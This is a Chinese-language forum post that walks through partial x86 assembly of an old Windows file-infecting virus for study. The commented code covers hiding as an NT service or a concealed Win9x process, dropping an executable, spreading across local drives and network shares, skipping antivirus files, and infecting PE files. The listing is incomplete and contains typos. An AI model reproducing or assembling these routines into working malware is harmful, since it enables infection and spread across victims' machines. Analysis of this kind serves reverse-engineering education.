本文就一个以前的病毒进行分析,代码不全,重点在与学习其中的汇编
VStart:
call GetDelta ;此子程序用于获得病毒在内存中的开始地址,是绝大多数的病毒都要用到的技术,对于加解密软件有很大的帮助
lea esi ,[offset HostCode +ebx]
mov edi,[esp]
sub edi,08
mov [esp] ,edi
movsd
movsd
push dword ptr [esp+04]
call RelocKernel32 ;重定位kernell32
or eax,eax
jz short Exit
cmp byte ptr [offset OS +ebx],00 ;判断操作系统的类型
jnz short NT_Srv
call Create9xProcess ;建立win9x进程
ret
NT_Srv:call CreateNTService; 建立NT服务
Exit :ret :****************************************************
;建立NT服务的子程序
;****************************************************
CreateNTservice:
call RelocAdvapi32
or eax,eax
jz short CNT_Failed
push 02
push 00
push 00 ;获取服务管理器句柄
call openSCManagerA
or eax,eax
jz short CNT_Failed
mov SCM_Handle,eax
call CreateExecutable ;建立文件 or eax,eax ;已经驻留到内存退出
jz short CNT_Exit
mov edi,0F01FF
lea esi,offset[Service+ebx]
push edi
push esi
push SCM_Handle
call OpenServiceA
or eax,eax
jnz short CNT_Run
xor eax,eax
push eax
push eax
push eax
push eax
push eax
lea eax,[offset Buffer1+ebx] ;生成的exe文件
push eax
push 01 ;错误代码
push 02 ;开始
push 20 ;类型
push edi
push 00
push esi
push SCM_Handle ;句柄
call CreateServiceA ;建立服务
or eax,eax
jz short CNT_Failed
CNT_Run:
push 00
push 00
push eax
call StartServiceA ;开始服务
or eax,eax
jnz short CNT_Exit
CNT_Failed:
call StartInfectionThread ;传染子程序
CNT_Exit:
ret ;******************************************
;建立9x的进程子程序
;******************************************
create9xProcess: ;生成FLCSS.EXE,够狠,让人杀不尽
call CreateExecuteable
or eax,eax
jz short P9x_Exit
P9x_00:
xor eax,eax
lea edi,[offset Buffer+ebx]
push edi
push edi
mov ecx,040
repz stosd
mov cl,06
push eax
loop $ - 1
lea esi,[offset Buffer1+edx]
push esi
push 00
call CreateProcessA ;创建进程
or eax,eax
jnz short P9x_Exit
P9x_Failed:
call StartInfectionThread; 传染子程序
P9x_Exit:
ret
;**************************************
;因为生成flcss.exe,很难杀干净,就是它的原因
;**************************************
CreateExecutable:
lea edi,[offset Buffer1+ebx]
push edi
push 104
push edi
call GetSystemDirectoryA ;取得系统的目录
add edi,eax
mov al,'\'
stosb
lea esi,[offset Process + ebx]
movsd
movsd
movsd
push 02
call OpenFile
cmp eax,-1
jz short CE_Exit
mov c_FileHandle,eax
lea edi,[offset VImports+ebx] ;清除import
mov eax,-1
stosd
stosd
lea edi,[offset Kernel32_Relocated + ebx] ;第二个import
mov eax,[edi - 8]
stosd
push 00
lea esi,c_BytesWritten
push esi
push 0200
push ebx
push c_FileHandle
call WriteFile ;写文件头
push 00
push esi
push 1000
push ebx
push c_FileHandle
call WriteFile ;写入病毒体
push c_FileHandle
call CloseHandle ;关闭文件
CE_Exit:
inc eax
ret ;******************************************************
;下面差不多应该是病毒的服务程序
;******************************************************
VService:
call GetDelta
push dword ptr [esp]
call RelocKernel32
or eax,eax
jz VS_Exit
cmp byte ptr [offset OS +ebx],00 ;操作系统类型
jz short W9x_Service_Register ;注册9x的服务
WNT_Service_hacknowledge:
call RelocAdvapi32 ;重新定位Advapi32
jz VS_Exit
lea esi,[offset Buffer1 + ebx]
xor eax,eax
lea ecx,[offset Service + ebx]
lea edx,[offset ServiceDispatcher + ebx]
mov [esi],ecx
mov [esi+04],edx
mov [esi+08],eax
mov [esi+0c],eax ;将控制权返回给调用者
push esi
call StartServiceCtrlDispatcherA
W9x_Service_Register:
lea esi,[offset USER32_Name + ebx]
push esi
call LoadLibraryA
lea esi,[offset RegisterClassA + ebx]
push esi
push eax
call GetProcAddress ;获取进程的地址
or eax,eax
jz short VS_00
mov [esi -06],eax
lea esi,[offset Buffer1+ebx]
mov edi,esi
xor eax,eax
mov ecx,0A
repz stosd
mov dword ptr [esi + 04] ,-1
mov dword ptr [esi + 10] ,400000 ;Win9x的基址
lea eax,[offset Service+ebx]
mov [esi + 24],eax
push esi
call RegisterClassA ;重要
lea esi,[offset RegisterServiceProcess+ ebx]
push esi
push dword ptr [offset Kernel32_Base + ebx]
call GetProcAddress
or eax,eax
jz short VS_00
mov [esi - 06] ,eax
call GetCurrentProcessId ;获取当前进程的ID注册为服务
call GetCurrentProcessID ;注册为服务,可以防止用户在(ctrl + Alt + Del)任务管理器中发现
push 01
push eax
call RegisterServiceProcess
push 8000 ;延时操作
call Sleep
VS_00:
call StartInfectionThread
VS_Exit:
ret ;*****************************
;9x的服务结束,下一步,应该是NT的服务
;*****************************
ServiceDispatcher:
call GetDelta
lea edi,[offset Service + ebx]
push esi
push edi
call RegisterServiceCtrlHandlerA
mov Service_Handle,eax
lea esi,[offset Buffer + ebx]
mov edi,esi
mov ecx,06
xor eax,eax
repz stosd
mov dword ptr [esi],10
mov dword ptr [esi+04],04
mov dword ptr [esi+08],07
push esi
push Service_Handle ;告诉windows服务已经正确运行
call SetServiceStatus
push 8000 ;延时
call Sleep
call StartInfectionThread ;建立进程
ret
ServiceHandler:
ret ;当管理员关闭服务,提示系统出错 ;***************************************
;次子程序用于建立线程
;***************************************
StartInfectionThread:
call GetTickCount
mov [offset Rand + ebx] ,eax
lea eax,ThreadId
push eax
push 0
push 0
lea eax,[offset VThread + ebx]
push eax
push 0
push 0
call CreateThread
ret
;************************
;病毒线程
;************************
VThread:
call GetDelta
call InfectDrives ;感染本地文件(本地感染)
push 60000
call Sleep
call GetRand
and al,1F
jnz short VThread
call InfectNetwork ;感染网络文件(网络传播)
jmp short VThread
;**********************************
;通过网络传染的子程序
;**********************************
InfectNetwork:
lea eax,[offset MPR_Name + ebx]
push eax
call LoadLibraryA
or eax,eax
jz short INet_Failed
push eax
lea esi,[offset MPR_Function + ebx]
push eax
call LoadLibraryA
or eax,eax
jz short INet_Failed
push eax
lea esi,[offset MPR_Functions + ebx]
push esi
call DLL_Relocate
or eax,eax
jz short INet_Failed
push 00
call NetSearch
INet_Failed:
ret ;*******************************
;此处用来测试驱动器是否有效
;*******************************
InfectDrives:
push esi
call GetTickCount
mov [offset Tick+ebx],eax
lea esi,[offset Tick + ebx],eax
lea esi,[offset Buffer1 + ebx]
mov dword ptr [esi],'\:+ebx - offset VStart'
ID_TestDrive:
mov byte ptr [esi + 03 ],00
push esi
call GetDriverTypeA ;获得驱动器的类型
cmp al,03 ;硬盘?
jz short ID_DriveOK
cmp al,04 ;网络驱动器?无盘工作?网吧一类的?
jnz short ID_Invalid
ID_DriveOK:
add esi,03
push esi
call BlownAway
push esi
call FileSearch ;查找文件
sub esi,03
ID_Invalid:
mov al,[offset Buffer1 + ebx]
inc al
mov [offset Buffer1 + ebx],al
cmp al,'Z'
jna short ID_TestDrive
pop esi
ret
;**********************************************
;开始网络传染
;查找网络计算机
;**********************************************
NetSearch :
mov EnumBufferSize,4000
or EnumNB_Objects,-1
lea eax,WNetStructAddr
push eax
push WNetStructAddr
push 0
push 0
push 2
call WNetOpenEnumA
or eax,eax
jnz NET_Close
push 04
push 1000
push 4000
push 00
call VirtualAlloc
or eax,eax
jz short NET_Close
mov EnumBufferAddr,eax
Net_00:
mov esi,EnumBufferAddr
lea eax,EnumBufferSize
push eax
push esi
lea eax,EnumNB_Objects
push eax
push WNetStructAddr
call WNetEnumResourceA
or eax,eax
jnz short NET_Free
mov ecx,EnumNB_Objects
or ecx,ecx
jz short NET_00
NET_01:
push ecx
push esi
mov esi,[esi+14] ;计算机名
or esi,esi
jz short NET_03
lea edi,[offset Buffer1 + ebx]
NET_02:
movsb
cmp byte ptr [esi],00
jnz short NET_02
mov al,'\'
stosb
push edi
call BlowAway
push edi
call FileSearch
Net_03:
pop esi
mov eax,[esi + 0C]
and al,2
cmp al,2
jnz short NET_04
push esi
call NetSearch
NEt_04:
add esi,20
pop ecx
loop NET_01
jmp short NET_00
NET_Free:
push 8000
push 00
push EnumBufferAddr
call VirtualFree
NET_Close:
push WNetStructAddr
call WNetCloseEnum
ret
;************************* ****************************
;
;*****************************************************
FileTest:
mov edx,[edi+2C]
or edx,20202020
xor edx,61F81F61
lea esi,[offset skipNames + ebx] ;跳过一些反病毒软件的感染
mov ecx,0C
FT_00:
lodsd
cmp edx,eax
jz short FT_Exit
loop FT_00
;*********************************
;注意
;*********************************
mov esi,edi
add esi,2C
FT_01:
lodsb
or al,al
jnz short FT_01
mov eax,[esi -4] ;扩展名判断
or eax,20202020
cmp eax,'xco' ;控件4
jz short FT_02
cmp eax,'rcs' ;屏幕保护文件
jz short FT_01
cmp eax,'exe' ;标准exe文件
jnz short FT_Exit
FT_02:
mov eax,[edi+20] ;文件小于2000的就不感染
cmp eax,2000
jc short FT_Exit
cmp al,03 ;检测是否已经感染
jz short FT_Exit
lea esi,[offset Buffer1 + ebx] ;取文件名和路径
lea edi,[offset Buffer3 + ebx]
push edi
mov ecx,CurrentDirEnd
sub ecx,esi
repz movsb
lea sei,[offset Buffer2 + ebx]
add esi,2C
FT_03:
movsb
cmp byte ptr [esi - 1],0
jnz short FT_03
call InfectFile
Ft_Exit:
jmp RS_Next ;********************************
;感染文件子程序
;********************************
InfectFile:
push i_Filename
push 03 ;打开文件
call OpenFile
cmp eax,-1
jz IN_Exit
mov i_FileHandle,eax
push 00
push eax
call GetFileSize ;去文件的大小,用于以后还原
mov i_FileSize,eax
cmp al,03 ;是否感染
jz IN_Exit
lea edi,[offset Buffer3 +ebx]
push 00
lea esi,i_BytesRead
push esi
push 2000
push edi
push i_FileHandle
call ReadFile ;********************
;以下程序与文件头有关
;*******************
cmp word ptr [edi],5A4Dh ;dos文件头
jnz IN_CloseFile ;确保是感染的是PE文件
cmp word ptr [edi + 18],0040 ;是否是windows文件 ,此处>=40 为windows文件,<40H,则是dos文件
jnz IN_CloseFile
cmp dword ptr [edi + 3C],1C00
ja IN_CloseFile
cmp dword ptr [edi + 3C] ,1C00 ;dos文件头的大小
ja IN_CloseFile
add edi [edi + 3C] ;指向PE或者NE文件头
mov eax,[edi]
cmp eax,00004550 ;
jnz IN_CloseFile ;win3.x 的18H值也大于等于40H,可是有用3.x的?和病毒出生的年代有关系吧:)
cmp word ptr [edi+5C],2 ;GUI???
jnz IN_CloseFile
mov esi,edi
add esi,18
add si,[edi+14] ;将esi指向第一个节表
push esi
mov eax,[edi+28]
IN_00:
mov ecx,[esi+0C]
add ecx,[esi+08]
cmp eax,ecx
jc short IN_01
add esi,28
cmp eax,ecx
jc short IN_01
add esi,28
jmp short IN_00
IN_01:
sub eax,[esi+0C]
add eax,[esi+14]
mov i_EP_Offset,eax
or [esi+24],80000000 ;将它改为可写,这个是windows与dos在程序和数据段上的一个改变,使我windows病毒要注意的地方
pop esi
xor ecx,ecx
mov cx,[edi+06]
dec ecx
mov eax,ecx
mov edx,28
mul edx
add esi,eax ;ESI指向最后一个节表
mov eax,[esi+24]
cmp al,80 ;是否已经初始化
jz IN_CloseFile
or eax,8C000000
[招生]科锐逆向工程师培训(2024年11月15日实地,远程教学同时开班, 第51期)